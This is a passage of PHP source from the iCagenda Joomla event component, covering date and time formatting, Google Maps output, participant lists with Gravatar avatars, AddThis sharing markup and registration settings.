
	// Format Start Date of a period
	protected function startDate($i)
	{
		return $this->formatDate($i->startdate);;
	}

	// Format End Date of a period
	protected function endDate($i)
	{
		return $this->formatDate($i->enddate);
	}

	// Start Day of a period (numeric 1)
	protected function startDay($i)
	{
		$day_format		= 'd-m-Y';
		$start_day		= date($day_format, strtotime($i->startdate));
		$format			= '%e';

		if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN')
		{
			$format = preg_replace('#(?<!%)((?:%%)*)%e#', '\1%#d', $format);
		}

		$startDay	= iCDate::isDate($i->startdate)
					? strftime($format, strtotime($start_day))
					: '&nbsp;&nbsp;';

		return $startDay;
	}

	// End Day of a period (numeric 1)
	protected function endDay($i)
	{
		$day_format		= 'd-m-Y';
		$end_day		= date($day_format, strtotime($i->enddate));
		$format			= '%e';

		if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN')
		{
			$format = preg_replace('#(?<!%)((?:%%)*)%e#', '\1%#d', $format);
		}

		$endDay	= iCDate::isDate($i->enddate)
				? strftime($format, strtotime($end_day))
				: '&nbsp;&nbsp;';

		return $endDay;
	}

	// End Month of a period (numeric 01)
	protected function endMonthNum($i)
	{
		$eventTimeZone	= null;
		$endMonthNum	= JHtml::date($i->enddate, 'm', $eventTimeZone);

		return JText::_($endMonthNum);
	}

	// End Month of a period (text January)
	protected function endMonth($i)
	{
		$eventTimeZone	= null;
		$endMonth		= JHtml::date($i->enddate, 'F', $eventTimeZone);

		return JText::_($endMonth);
	}

	// End Year of a period (numeric 2001)
	protected function endYear($i)
	{
		$eventTimeZone	= null;
		$endYear		= JHtml::date($i->enddate, 'Y', $eventTimeZone);

		return JText::_($endYear);
	}

	// Format Start Time of a period
	protected function startTime($i)
	{
		$eventTimeZone		= null;
		$datetime_startdate	= JHtml::date($i->startdate, 'Y-m-d H:i', $eventTimeZone);
		$timeformat			= $this->options['timeformat'];

		$lang_time = ($timeformat == 1) ? 'H:i' : 'h:i A';

		$startTime = date($lang_time, strtotime($datetime_startdate));

		if ($this->displaytime($i) == 1)
		{
			return $startTime;
		}
	}

	// Format End Time of a period
	protected function endTime($i)
	{
		$eventTimeZone		= null;
		$datetime_enddate	= JHtml::date($i->enddate, 'Y-m-d H:i', $eventTimeZone);
		$timeformat			= $this->options['timeformat'];

		$lang_time = ($timeformat == 1) ? 'H:i' : 'h:i A';

		$endTime = date($lang_time, strtotime($datetime_enddate));

		if ($this->displaytime($i) == 1)
		{
			return $endTime;
		}
	}


	// Display period text width Format Date (eg. from 00-00-0000 to 00-00-0000)
	protected function periodDates ($i)
	{
		$iCparams = JComponentHelper::getParams('com_icagenda');

		// Hide/Show Option
		$PeriodDates = $iCparams->get('PeriodDates', 1);

		// Access Levels Option
		$accessPeriodDates = $iCparams->get('accessPeriodDates', 1);

		// List Model
		$SingleDatesListModel = $iCparams->get('SingleDatesListModel', 1);

		// First day of the week
		$firstday_week_global = $iCparams->get('firstday_week_global', 1);

		// WeekDays
		$weekdays = $i->weekdays;
		$weekdaysall = empty($weekdays) ? true : false;

		if ($firstday_week_global == '1')
		{
			$weekdays_array = explode (',', $weekdays);

			if (in_array('0', $weekdays_array))
			{
				$weekdays = str_replace('0', '', $weekdays);
				$weekdays = $weekdays.',7';
			}
		}

		if (!$weekdaysall)
		{
			$weekdays_array = explode (',', $weekdays);
			$wdaysArray = array();

			foreach ($weekdays_array AS $wd)
			{
				if ($firstday_week_global != '1')
				{
					if ($wd == 0) $wdaysArray[] = JText::_( 'SUNDAY' );
				}
				if ($wd == 1) $wdaysArray[] = JText::_( 'MONDAY' );
				if ($wd == 2) $wdaysArray[] = JText::_( 'TUESDAY' );
				if ($wd == 3) $wdaysArray[] = JText::_( 'WEDNESDAY' );
				if ($wd == 4) $wdaysArray[] = JText::_( 'THURSDAY' );
				if ($wd == 5) $wdaysArray[] = JText::_( 'FRIDAY' );
				if ($wd == 6) $wdaysArray[] = JText::_( 'SATURDAY' );
				if ($firstday_week_global == '1')
				{
					if ($wd == 7) $wdaysArray[] = JText::_( 'SUNDAY' );
				}
			}

			$last  = array_slice($wdaysArray, -1);
			$first = join(', ', array_slice($wdaysArray, 0, -1));
			$both  = array_filter(array_merge(array($first), $last));

			// RTL css if site language is RTL
			$lang = JFactory::getLanguage();

			if ( $lang->isRTL() )
			{
				$arrow_list = '&#8629;';
			}
			else
			{
				$arrow_list = '&#8627;';
			}

			$wdays = $arrow_list . ' <small><i>' . join(' & ', $both) . '</i></small>';
		}
		else
		{
			$wdays = '';
		}

		$showDays ='';

		if ( $PeriodDates == 1 )
		{
			// NOT CURRENTLY USED (is this option needed?)
//			if ( $this->accessLevels($accessPeriodDates) )
//			{
				$startDate	= $this->formatDate($i->startdate);
				$endDate	= $this->formatDate($i->enddate);

				if ($startDate == $endDate)
				{
					$start = $this->startDate($i);
					$end = '';

					if ($this->displaytime($i) == 1)
					{
						if ($this->startTime($i) !== $this->endTime($i))
						{
							$timeOneDay = '<span class="evttime">'.$this->startTime($i).' - '.$this->endTime($i).'</span>';
						}
						else
						{
							$timeOneDay = '<span class="evttime">'.$this->startTime($i).'</span>';
						}
					}
					else
					{
						$timeOneDay = '';
					}
				}
				else
				{
					$start = ucfirst(JText::_( 'COM_ICAGENDA_PERIOD_FROM' )).' '.$this->startDate($i).' <span class="evttime">'.$this->startTime($i).'</span>';
					$end = JText::_( 'COM_ICAGENDA_PERIOD_TO' ).' '.$this->endDate($i).' <span class="evttime">'.$this->endTime($i).'</span>';
					$showDays = $wdays;
					$timeOneDay = '';
				}

				if ($SingleDatesListModel == 2)
				{
					$period = '<div class="alldates"><i>'. JText::_( 'COM_ICAGENDA_EVENT_PERIOD' ).': </i>'.$start.' '.$end.' '.$timeOneDay;
					if (!empty($showDays))
					{
						$period.= '<br /><span style="margin-left:30px">'.$showDays.'</span>';
					}
					$period.= '</div>';
				}
				else
				{
					$period = '<ul class="alldates"><li>'.$start.' '.$end.' '.$timeOneDay;
					if (!empty($showDays))
					{
						$period.= '<br/>'.$showDays;
					}
					$period.= '</li></ul>';
				}

				if ($this->eventHasPeriod($i))
				{
					if (($i->startdate!='0000-00-00 00:00:00') AND ($i->enddate!='0000-00-00 00:00:00'))
					{
						return $period;
					}
				}
				else
				{
					return false;
				}
//			}
//			else
//			{
//				return false;
//			}
		}
		else
		{
			return false;
		}
	}


	// Function to get Format Date (event item)
	protected function formatDate($date)
	{
		// Date Format Option (Global Component Option)
		$date_format_global	= JComponentHelper::getParams('com_icagenda')->get('date_format_global', 'Y - m - d');
		$date_format_global	= ($date_format_global !== '0') ? $date_format_global : 'Y - m - d'; // Previous 3.5.6 setting

		// Date Format Option (Menu Option)
		$date_format_menu	= JFactory::getApplication()->getParams()->get('format', '');
		$date_format_menu	= ($date_format_menu !== '0') ? $date_format_menu : ''; // Previous 3.5.6 setting

		// Set Date Format option to be used
		$format				= $date_format_menu ? $date_format_menu : $date_format_global;

		// Separator Option
		$separator			= JFactory::getApplication()->getParams()->get('date_separator', ' ');

		if ( ! is_numeric($format))
		{
			// Update old Date Format options of versions before 2.1.7
			$format = str_replace(array('nosep', 'nosep', 'sepb', 'sepa'), '', $format);
			$format = str_replace('.', ' .', $format);
			$format = str_replace(',', ' ,', $format);
		}

		$dateFormatted = iCGlobalize::dateFormat($date, $format, $separator);

		return $dateFormatted;
	}


	/**
	 * GOOGLE MAPS
	 */

	// Latitude
	protected function lat ($i)
	{
		if (($i->coordinate != NULL) && ($i->lat == '0.0000000000000000'))
		{
			$ex			= explode(', ', $i->coordinate);
			$latresult	= $ex[0];
		}
		elseif ($i->lat != '0.0000000000000000')
		{
			$latresult	= $i->lat;
		}
		else
		{
			$latresult	= NULL;
		}

		return $latresult;
	}

	// Longitude
	protected function lng ($i)
	{
		if (($i->coordinate != NULL) && ($i->lng == '0.0000000000000000'))
		{
			$ex			= explode(', ', $i->coordinate);
			$lngresult	= $ex[1];
		}
		elseif ($i->lng != '0.0000000000000000')
		{
			$lngresult	= $i->lng;
		}
		else
		{
			$lngresult	= NULL;
		}

		return $lngresult;
	}

	// Function Map
	protected function map ($i)
	{
		$maplat	= $this->lat($i);
		$maplng	= $this->lng($i);
		$mapid	= $i->id;

		$iCgmap = '<div class="icagenda_map" id="map_canvas'.(int)$mapid.'" style="width:'.$this->options['m_width'].'; height:'.$this->options['m_height'].'"></div>';
		$iCgmap.= '<script type="text/javascript">';
		$iCgmap.= 'initialize('.$maplat.', '.$maplng.', '.(int)$mapid.');';
		$iCgmap.= '</script>';

		return $iCgmap;
	}

	// Function Map
	protected function coordinate ($i)
	{
		// Hide/Show Option
		$GoogleMaps			= JComponentHelper::getParams('com_icagenda')->get('GoogleMaps', 1);

		// Access Levels Option
		$accessGoogleMaps	= JComponentHelper::getParams('com_icagenda')->get('accessGoogleMaps', 1);

		$maplat				= $this->lat($i);
		$maplng				= $this->lng($i);

		if ($GoogleMaps == 1
			&& $this->accessLevels($accessGoogleMaps)
			&& $maplat != NULL
			&& $maplng != NULL
			)
		{
			return true;
		}

		return false;
	}


	/**
	 * Registered Users List
	 */

	// Participant List Display
	protected function participantList($i)
	{
		$iCparams				= JComponentHelper::getParams('com_icagenda');

		// Get Option if usage of iCagenda registration form for this event
		$evtParams				= $this->evtParams($i);
		$regLink				= $evtParams->get('RegButtonLink', '');

		// Hide/Show Option
		$participantList		= $iCparams->get('participantList', 1);

		// Access Levels Option
		$accessParticipantList	= $iCparams->get('accessParticipantList', 1);

		if ($participantList == 1
			&& ! $regLink
			&& $this->accessLevels($accessParticipantList)
			)
		{
			return $participantList;
		}

		return false;
	}


	// Display Title List of Participants (if no slide effect)
	protected function participantListTitle($i)
	{
		// Get Option if usage of iCagenda registration form for this event
		$evtParams			= $this->evtParams($i);
		$regLink			= $evtParams->get('RegButtonLink', '');

		$participantList	= $this->options['participantList'];
		$participantSlide	= $this->options['participantSlide'];

		$registration		= $this->statutReg($i) ? $this->statutReg($i) : '';

		if ($participantSlide == 0
			&& $registration == 1
			&& $participantList == 1
			&& !$regLink
			)
		{
			return JText::_( 'COM_ICAGENDA_EVENT_LIST_OF_PARTICIPANTS');
		}
	}

	// Display Registered Users
	protected function registeredUsers($i)
	{
		$eventTimeZone = null;

		// Get Component PARAMS
		$iCparams = JComponentHelper::getParams('com_icagenda');

		// Preparing connection to db
		$db	= JFactory::getDBO();
		// Preparing the query
		$query = $db->getQuery(true);
		$query->select(' r.userid AS userid, r.name AS registeredUsers, r.date as regDate, r.people as regPeople, r.email as regEmail,
						u.name AS name, u.username AS username')
			->from('#__icagenda_registration AS r')
			->leftJoin('#__users as u ON u.id = r.userid')
			->where('(r.eventId='.(int)$i->id.') AND (r.state > 0)');
		$db->setQuery($query);

		$registeredUsers	= $db->loadObjectList();
		$nbusers			= count($registeredUsers);
		$nbmax				= $nbusers-1;
		$registration		= '';
		$registration		= $this->statutReg($i);
		$n					= '0';

		// Slide Params
		$participantList	= $iCparams->get('participantList', 1);
		$participantSlide	= $iCparams->get('participantSlide', 1);
		$participantDisplay	= $iCparams->get('participantDisplay', 1);
		$fullListColumns	= $iCparams->get('fullListColumns', 'tiers');

		// logged-in Users: Name/User Name Option
		$nameJoomlaUser		= $iCparams->get('nameJoomlaUser', 1);

		// Get Type Registration (for all dates or per date)
		$typeReg			= $this->evtParams($i)->get('typeReg', 1);

		// Get Date if set in url as var
		$get_date			= JRequest::getVar('date', null);

		if ($get_date)
		{
			$ex = explode('-', $get_date);

			if (count($ex) == 5)
			{
				$dateday = $ex['0'].'-'.$ex['1'].'-'.$ex['2'].' '.$ex['3'].':'.$ex['4'];
			}
			else
			{
				$dateday = '';
			}
		}
		else
		{
			$dateday = '';
		}

		$this_date	= JHtml::date($dateday, 'Y-m-d H:i', $eventTimeZone);

		// Start List of Participants
		jimport( 'joomla.html.html.sliders' );
		$slider_c = '';

		$list_participants = '';

		if ($participantList == 1 && $registration == 1)
		{
			$n_list='names_noslide';

			if ($participantSlide == 1)
			{
				$n_list = 'names_slide';
				$slider_c = 'class="pane-slider content"';
				$list_participants.= JHtml::_('sliders.start', 'icagenda', array('useCookie'=>0, 'startOffset'=>-1, 'startTransition'=>1));
				$list_participants.= JHtml::_('sliders.panel', JText::_('COM_ICAGENDA_EVENT_LIST_OF_PARTICIPANTS'), 'slide1');
			}

			foreach ($registeredUsers as $reguser)
			{
				$this_reg_date	= strtotime($reguser->regDate)
								? JHtml::date($reguser->regDate, 'Y-m-d H:i', $eventTimeZone)
								: $reguser->regDate;

				if ( ($this_reg_date == $this_date)
					|| ($typeReg == 2)
					)
				{
					$n = $n+1;
				}

				// Registration by dates, and registration date is not filled
				elseif ($typeReg == 1
					&& ! $this_reg_date)
				{
					$n = $n+1;
				}
			}

			if ($nbusers == NULL || ($n == 0 && ! empty($get_date)))
			{
				$list_participants.= '<div ' . $slider_c . '>';
				$list_participants.= '&nbsp;'.JText::_( 'COM_ICAGENDA_NO_REGISTRATION').'&nbsp;';
				$list_participants.= '</div>';
			}

			// Full display
			elseif ($participantDisplay == 1)
			{
				$column = isset($fullListColumns) ? $fullListColumns : 'tiers';

				$list_participants.= '<div ' . $slider_c . '>';

				foreach ($registeredUsers as $reguser)
				{
					$this_reg_date	= strtotime($reguser->regDate)
									? JHtml::date($reguser->regDate, 'Y-m-d H:i', $eventTimeZone)
									: $reguser->regDate;

					if ( ($this_reg_date == $this_date || empty($get_date))
						|| $typeReg == 2
						|| ($typeReg == 1 && ! $this_reg_date)
						)
					{
						$avatar = md5( strtolower( trim( $reguser->regEmail ) ) );

						// Get Username and name
						if ( ! empty($reguser->userid))
						{
							$data_name		= $reguser->name;
							$data_username	= $reguser->username;

							if ($nameJoomlaUser == 1)
							{
								$reguser->registeredUsers = $reguser->registeredUsers;
							}
							else
							{
								$reguser->registeredUsers = $data_username;
							}
						}

						$regDate = '';

						if (strtotime($reguser->regDate)) // Test if registered date before 3.3.3 could be converted
						{
							// Control if date valid format (Y-m-d H:i)
							$datetime_format	= 'Y-m-d H:i:s';
							$datetime_input		= $reguser->regDate;
							$datetime_input		= trim($datetime_input);
							$datetime_is_valid	= date($datetime_format, strtotime($datetime_input)) == $datetime_input;

							if ($datetime_is_valid) // New Data value (since 3.3.3)
							{
								$ex_reg_datetime_db	= explode (' ', $datetime_input);
								$registered_date	= $this->formatDate(date('Y-m-d', strtotime($ex_reg_datetime_db['0'])));
								$reg_time_get		= isset($ex_reg_datetime_db['1']) ? $ex_reg_datetime_db['1'] : '';
							}
							else // Test if old date format (before 3.3.3) could be converted. If not, displays old format.
							{
								$ex_reg_datetime	= explode (' - ', trim($reguser->regDate));

								// Control if date valid format (Y-m-d) - Means could be converted
								$date_format		= 'Y-m-d H:i:s';
								$date_input			= $ex_reg_datetime['0'];
								$date_input			= trim($date_input);
								$date_str			= strtotime($date_input);
								$date_is_valid		= date($date_format, $date_str) == $date_input;

								if ($date_is_valid)
								{
									$registered_date = $this->formatDate(date('Y-m-d', $date_str));
								}
								else
								{
									$registered_date = $ex_reg_datetime['0'];
								}

								$reg_time_get = isset($ex_reg_datetime['1']) ? $ex_reg_datetime['1'] : '';
							}

							$regDate.= $registered_date;

							if ($reg_time_get)
							{
								$regDate.= ' - '.date('H:i', strtotime($reg_time_get));
							}
						}
						else
						{
							$regDate.= $reguser->regDate;
						}

						if ($n <= $nbmax || $n == $nbusers)
						{
							$list_participants.= '<table class="list_table ' . $column . '" cellpadding="0"><tbody><tr><td class="imgbox"><img alt="' . $reguser->registeredUsers . '"  src="http://www.gravatar.com/avatar/' . $avatar . '?s=36&d=mm"/></td><td valign="middle"><span class="list_name">' . $reguser->registeredUsers . '</span><span class="list_places"> (' . $reguser->regPeople . ')</span><br /><span class="list_date">' . $regDate . '</span></td></tr></tbody></table>';
						}
					}
				}
				$list_participants.= '</div>';
			}

			// Avatar display
			elseif ($participantDisplay == 2)
			{
				$list_participants.= '<div ' . $slider_c . '>';

				foreach ($registeredUsers as $reguser)
				{
					$this_reg_date	= strtotime($reguser->regDate)
									? JHtml::date($reguser->regDate, 'Y-m-d H:i', $eventTimeZone)
									: $reguser->regDate;

					if ( ($this_reg_date == $this_date || empty($get_date))
						|| $typeReg == 2
						|| ($typeReg == 1 && ! $this_reg_date)
						)
					{
						$avatar	= md5(strtolower(trim($reguser->regEmail)));

						// Get Username and name
						if ( ! empty($reguser->userid))
						{
							$data_name		= $reguser->name;
							$data_username	= $reguser->username;

							if ($nameJoomlaUser == 1)
							{
								$reguser->registeredUsers = $data_name;
							}
							else
							{
								$reguser->registeredUsers = $data_username;
							}
						}

						if ($n <= $nbmax || $n == $nbusers)
						{
							$list_participants.= '<div style="width: 76px; height: 80px; float:left; margin:2px; text-align:center;"><img style="border-radius: 3px 3px 3px 3px; margin:2px 0px;" alt="' . $reguser->registeredUsers . '"  src="http://www.gravatar.com/avatar/' . $avatar . '?s=48&d=mm"/><br/><strong style="text-align:center; font-size:9px;">' . $reguser->registeredUsers . '</strong></div>';
						}
					}
				}
				$list_participants.= '</div>';
			}

			// Name/username display
			elseif ($participantDisplay == 3)
			{
				$list_participants.= '<div ' . $slider_c . '>';
				$list_participants.= '<div class="' . $n_list . '">';

				$list_username = '';

				foreach ($registeredUsers as $reguser)
				{
					$this_reg_date	= strtotime($reguser->regDate)
									? JHtml::date($reguser->regDate, 'Y-m-d H:i', $eventTimeZone)
									: $reguser->regDate;

					if ( ($this_reg_date == $this_date ||empty($get_date))
						|| $typeReg == 2
						|| ($typeReg == 1 && ! $this_reg_date)
						)
					{

						// Get Username and name
						if ( ! empty($reguser->userid))
						{
							$data_name		= $reguser->name;
							$data_username	= $reguser->username;

							if ($nameJoomlaUser == 1)
							{
								$reguser->registeredUsers = $data_name;
							}
							else
							{
								$reguser->registeredUsers = $data_username;
							}
						}

						$list_username.= $reguser->registeredUsers . ', ';
					}
				}

				$list_participants.= trim($list_username, ", ");

				$list_participants.= '</div>';
				$list_participants.= '</div>';
			}

			if ($participantSlide == 1)
			{
				$list_participants.= JHtml::_('sliders.end');
			}
		}
		else
		{
			$list_participants.= '';
		}

		return $list_participants;
	}


	/**
	 * SPECIAL FUNCTIONS
	 */

	// function Event Options
	protected function evtParams($i)
	{
		$evtParams = '';
		$evtParams = new JRegistry($i->params);

		return $evtParams;
	}

	// Function if Period Dates exist // DEPRECATED
	protected function periodTest($i)
	{
		$daysp = unserialize($i->period);

		if ($daysp != NULL)
		{
			return true;
		}

		return false;
	}

	/*
	 * Function if Period Dates exist for this event
	 */
	protected function eventHasPeriod($i)
	{
		$period_dates = iCString::isSerialized($i->period) ? unserialize($i->period) : array(); // returns array

		if (count($period_dates) > 0)
		{
			return true;
		}

		return false;
	}


	/* TO BE MOVED TO UTILITIES LIBRARY
	 * Function to check if user has access rights to defined access
	 *
	 * $accessLevel		Access level of the item to check User Permissions
	 *
	 * If in super user group, always allowed
	 */
	protected function accessLevels($accessLevel)
	{
		// Get User Access Levels
		$user		= JFactory::getUser();
		$userLevels	= $user->getAuthorisedViewLevels();
		$userGroups = version_compare(JVERSION, '3.0', 'ge') ? $user->groups : $user->getAuthorisedGroups();

		// Control: if access level, or Super User
		if (in_array($accessLevel, $userLevels)
			|| in_array('8', $userGroups))
		{
			return true;
		}

		return false;
	}


	/*
	 * Function to detect if info details exist in an event,
	 * and to hide or show it depending of Options (display and access levels)
	 */
	protected function infoDetails($i)
	{
		// Hide/Show Option
		$infoDetails		= JComponentHelper::getParams('com_icagenda')->get('infoDetails', 1);

		// Access Levels Option
		$accessInfoDetails	= JComponentHelper::getParams('com_icagenda')->get('accessInfoDetails', 1);

		if ( ($infoDetails == 1 && $this->accessLevels($accessInfoDetails))
			&& (($this->statutReg($i) == '1' && $this->maxNbTickets($i))
				|| $i->phone
				|| $i->email
				|| $i->website
				|| $i->address
				|| $i->file
				)
			)
		{
			return true;
		}

		return false;
	}


	/**
	 * ADDTHIS - Social Networks
	 */

	// function to override general options display of AddThis in event details view
	protected function ateventshow($i)
	{
		$atevent		= $this->options['atevent'];
		$evtParams		= $this->evtParams($i);
		$eventatvent	= $evtParams->get('atevent', '');

		$show = ($eventatvent == '') ? $atevent : $eventatvent;

		return $show;
	}

	// function option display AddThis social networks sharing
	protected function share_event($i)
	{
		$at = $this->ateventshow($i);

		if ($at == 1)
		{
			$share = $this->share($i);
		}
		else
		{
			$share = NULL;
		}

		return $share;
	}

	// function AddThis social networks sharing
	protected function share ($i)
	{
		$url = parse_url(Juri::base());
		$addthis_scheme = ($url['scheme'] == 'https') ? 'https://' : 'http://';

		$addthis	= $this->options['addthis'];
		$float		= $this->options['atfloat'];
		$icon		= $this->options['aticon'];

		if ($float == 1)
		{
			$floataddthis	= 'floating';
			$float_position	= 'position: fixed;';
			$float_side		= 'left';
		}
		elseif ($float == 2)
		{
			$floataddthis	= 'floating';
			$float_position	= 'position: fixed;';
			$float_side		= 'right';
		}
		else
		{
			$floataddthis	= 'default';
			$float_position	= '';
			$float_side		= 'right';
		}

		if ($icon == 2)
		{
			$iconaddthis	= '32x32';
		}
		else
		{
			$iconaddthis	= '16x16';
		}

		$at_div = '<div class="share ic-share" style="' . $float_position . '">';
		$at_div.= '<!-- AddThis Button BEGIN -->';
		$at_div.= '<div class="addthis_toolbox';
		$at_div.= ' addthis_' . $floataddthis . '_style';
		$at_div.= ' addthis_' . $iconaddthis . '_style"';
		$at_div.= ' style="' . $float_side . ': 2%; top: 40%;">';
		$at_div.= '<a class="addthis_button_preferred_1"></a>';
		$at_div.= '<a class="addthis_button_preferred_2"></a>';
		$at_div.= '<a class="addthis_button_preferred_3"></a>';
		$at_div.= '<a class="addthis_button_preferred_4"></a>';
		$at_div.= '<a class="addthis_button_compact"></a>';
		$at_div.= '<a class="addthis_counter addthis_bubble_style"></a>';
		$at_div.= '</div>';

		if ($addthis)
		{
			$at_div.= '<script type="text/javascript">var addthis_config = {"data_track_addressbar":true};</script>';
			$at_div.= '<script type="text/javascript" src="' . $addthis_scheme . 's7.addthis.com/js/300/addthis_widget.js#pubid=' . $this->options['addthis'] . '" async="async"></script>';
		}
		else
		{
			$at_div.= '<script type="text/javascript">var addthis_config = {"data_track_addressbar":false};</script>';
			$at_div.= '<script type="text/javascript" src="' . $addthis_scheme . 's7.addthis.com/js/300/addthis_widget.js#pubid=ra-5024db5322322e8b" async="async"></script>';
		}

		$at_div.= '<!-- AddThis Button END -->';
		$at_div.= '</div>';

		return $at_div;
	}


	/**
	 * REGISTRATIONS
	 */

	// function url to iCagenda registration page
	protected function iCagendaRegForm ($i)
	{
		$event_slug = empty($i->alias) ? $i->id : $i->id . ':' . $i->alias;

		$iCagendaRegForm = JROUTE::_('index.php?option=com_icagenda&view=list&layout=registration&Itemid='. (int) $this->options['Itemid'] . '&id=' . $event_slug);

		return $iCagendaRegForm;
	}

	// function link to registration page
	protected function regUrl($i)
	{
		$event_slug = empty($i->alias) ? $i->id : $i->id . ':' . $i->alias;

		$icagenda_form = JRoute::_('index.php?option=com_icagenda&view=list&layout=registration&Itemid='. (int) $this->options['Itemid'] . '&id=' . $event_slug);

		$evtParams			= $this->evtParams($i);
		$regLink			= $evtParams->get('RegButtonLink', '');
		$regLinkArticle		= $evtParams->get('RegButtonLink_Article', $icagenda_form);
		$regLinkUrl			= $evtParams->get('RegButtonLink_Url', $icagenda_form);
		$RegButtonTarget	= $evtParams->get('RegButtonTarget', '0');

		if ($RegButtonTarget == 1)
		{
			$browserTarget = '_blank';
		}
		else
		{
			$browserTarget = '_parent';
		}

		if ($regLink == 1 && is_numeric($regLinkArticle))
		{
			$regUrl = JURI::root() . 'index.php?option=com_content&view=article&id=' . $regLinkArticle . '" rel="nofollow" target="' . $browserTarget;
		}
		elseif ($regLink == 2)
		{
			$regUrl = $regLinkUrl . '" rel="nofollow" target="' . $browserTarget;
		}
		else
		{
			$regUrl = $icagenda_form . '" rel="nofollow" target="' . $browserTarget;
		}

		return $regUrl;
	}

	/*
	 * Function to return Registration Status for this event
	 */
	protected function statutReg($i)
	{
		$gstatutReg		= $this->options['statutReg'];

		$evtParams		= $this->evtParams($i);
		$evtstatutReg	= $evtParams->get('statutReg', '');

		// Control and edit param values to iCagenda v3
		if ($evtstatutReg == '2')
		{
			$evtstatutReg = '0';
		}

		$statutReg = ($evtstatutReg != '') ? $evtstatutReg : $gstatutReg;

		return $statutReg;
	}

	/*
	 * Function to return Registration Access Level for this event
	 */
	protected function accessReg($i)
	{
		$reg_form_access	= JComponentHelper::getParams('com_icagenda')->get('reg_form_access', 1);
		$evtParams			= $this->evtParams($i);
		$accessReg			= $evtParams->get('accessReg', $reg_form_access);

		return $accessReg;
	}

	// function Registration Type TO BE CHECKED IF USED AS FUNCTION
	protected function typeReg($i)
	{
		$evtParams	= $this->evtParams($i);
		$typeReg	= $evtParams->get('typeReg', '');

		return $typeReg;
	}

	// function Max places per registration
	protected function maxRlist($i)
	{
		$maxRlist = '';
		$gmaxRlist = $this->options['maxRlist'];

		$evtParams			= $this->evtParams($i);
		$evtmaxRlistGlobal	= $evtParams->get('maxRlistGlobal');
		$evtmaxRlist		= $evtParams->get('maxRlist');

		// Control and edit param values to iCagenda v3
		if ($evtmaxRlistGlobal == '1')
		{
			$evtmaxRlistGlobal = '';
		}
		elseif ($evtmaxRlistGlobal == '0')
		{
			$evtmaxRlistGlobal = '2';
		}

		if ($evtmaxRlistGlobal == '2')
		{
			$maxRlist = $evtmaxRlist;
		}
		else
		{
			$maxRlist = $gmaxRlist;
		}

		return $maxRlist;
	}

	// Keep for B/C : DEPRECATED!
	// Function Max Registrations per event (OLD before 3.2.8, for use with old theme packs or custom one)
	protected function maxReg($i)
	{
		$evtParams	= $this->evtParams($i);
		$maxReg		= $evtParams->get('maxReg', '1000000');

		return $maxReg;
	}

	// function Max Nb Tickets (Control if set)
	protected function maxNbTickets($i)
	{
		$maxNbTickets = $this->evtParams($i)->get('maxReg', '1000000');

		if ($maxNbTickets != '1000000'
			&& ($this->statutReg($i) == '1'))
		{
			return $maxNbTickets;
		}
	}

	// function Email Required
	protected function emailRequired($i)
	{
		return $this->options['emailRequired'];
	}

	// function Phone Required
	protected function phoneRequired($i)
	{
		return $this->options['phoneRequired'];
	}

	// function pre-formated to display Register button and registered bubble
	protected function reg($i)
	{
		$reg					= $this->statutReg($i);
		$accessreg				= $this->accessReg($i);
		$nbreg					= $this->totalRegistered($i);
		$maxreg					= $this->maxReg($i);
		$upcomingDatesBooking	= $this->upcomingDatesBooking($i);
		$ticketsCouldBeBooked	= $this->ticketsCouldBeBooked($i);
		$regUntilEnd			= JComponentHelper::getParams('com_icagenda')->get('reg_end_period', 0);
		$typeReg				= $this->evtParams($i)->get('typeReg', '1');

		// Initialize controls
		$date_today			= JHtml::date('now', 'Y-m-d');
		$date_time_today	= JHtml::date('now', 'Y-m-d H:i');
		$access		= '0';
		$control	= '';
		$TextRegBt	= '';

		$get_date = JRequest::getVar('date', '');

		if ($get_date)
		{
			$ex = explode('-', $get_date);

			$dateday	= (count($ex) == 5)
						? $ex['0'].'-'.$ex['1'].'-'.$ex['2'].' '.$ex['3'].':'.$ex['4']
						: '';

			$date_is_upcoming = (strtotime($dateday) > strtotime($date_time_today)) ? true : false;

			$is_full_period = false;
		}
		else
		{
			$period				= unserialize($i->period);
			$period				= is_array($period) ? $period : array();
			$only_startdate		= ($i->weekdays || $i->weekdays == '0') ? false : true;
			$datetime_startdate	= JHtml::date($i->startdate, 'Y-m-d H:i', null);

			if ($only_startdate && in_array($datetime_startdate, $period))
			{
				$is_full_period = true;
			}
			else
			{
				$is_full_period = false;
			}

			if (count($period) > 0
				&& $only_startdate
				&& (strtotime($datetime_startdate) < strtotime($date_time_today))
				)
			{
				$date_is_upcoming	= false;
			}
			else
			{
				$date_is_upcoming	= true;
			}
		}

		// Access Control
		$user		= JFactory::getUser();
		$userLevels	= $user->getAuthorisedViewLevels();

		$evtParams	= $this->evtParams($i);
		$regLink	= $evtParams->get('RegButtonLink', '');

		if ($evtParams->get('RegButtonText'))
		{
			$TextRegBt = $evtParams->get('RegButtonText');
		}
		elseif ($this->options['RegButtonText'])
		{
			$TextRegBt = $this->options['RegButtonText'];
		}
		else
		{
			$TextRegBt = JText::_( 'COM_ICAGENDA_REGISTRATION_REGISTER');
		}

		$regButton_type = ''; // DEV. NOT IN USE

		if ($regButton_type == 'button') // DEV. NOT IN USE
		{
			$doc = JFactory::getDocument();
			$style = '.regis_button {'
					. 'text-transform: none !important;'
					. 'padding: 10px 14px 10px;'
					. '-webkit-border-radius: 10px;'
					. '-moz-border-radius: 10px;'
					. 'border-radius: 10px;'
					. 'color: #FFFFFF;'
					. 'background-color: #D90000;'
					. '*background-color: #751616;'
					. 'background-image: -ms-linear-gradient(top,#D90000,#751616);'
					. 'background-image: -webkit-gradient(linear,0 0,0 100%,from(#D90000),to(#751616));'
					. 'background-image: -webkit-linear-gradient(top,#D90000,#751616);'
					. 'background-image: -o-linear-gradient(top,#D90000,#751616);'
					. 'background-image: linear-gradient(top,#D90000,#751616);'
					. 'background-image: -moz-linear-gradient(top,#D90000,#751616);'
					. 'background-repeat: repeat-x;'
					. 'filter: progid:dximagetransform.microsoft.gradient(startColorstr="#D90000",endColorstr="#751616",GradientType=0);'
					. 'filter: progid:dximagetransform.microsoft.gradient(enabled=false);'
					. '*zoom: 1;'
					. '-webkit-box-shadow: inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);'
					. '-moz-box-shadow: inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);'
					. 'box-shadow: inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);'
					. '}'
					. '.regis_button:hover {'
					. 'color: #F9F9F9;'
					. 'background-color: #b60000;'
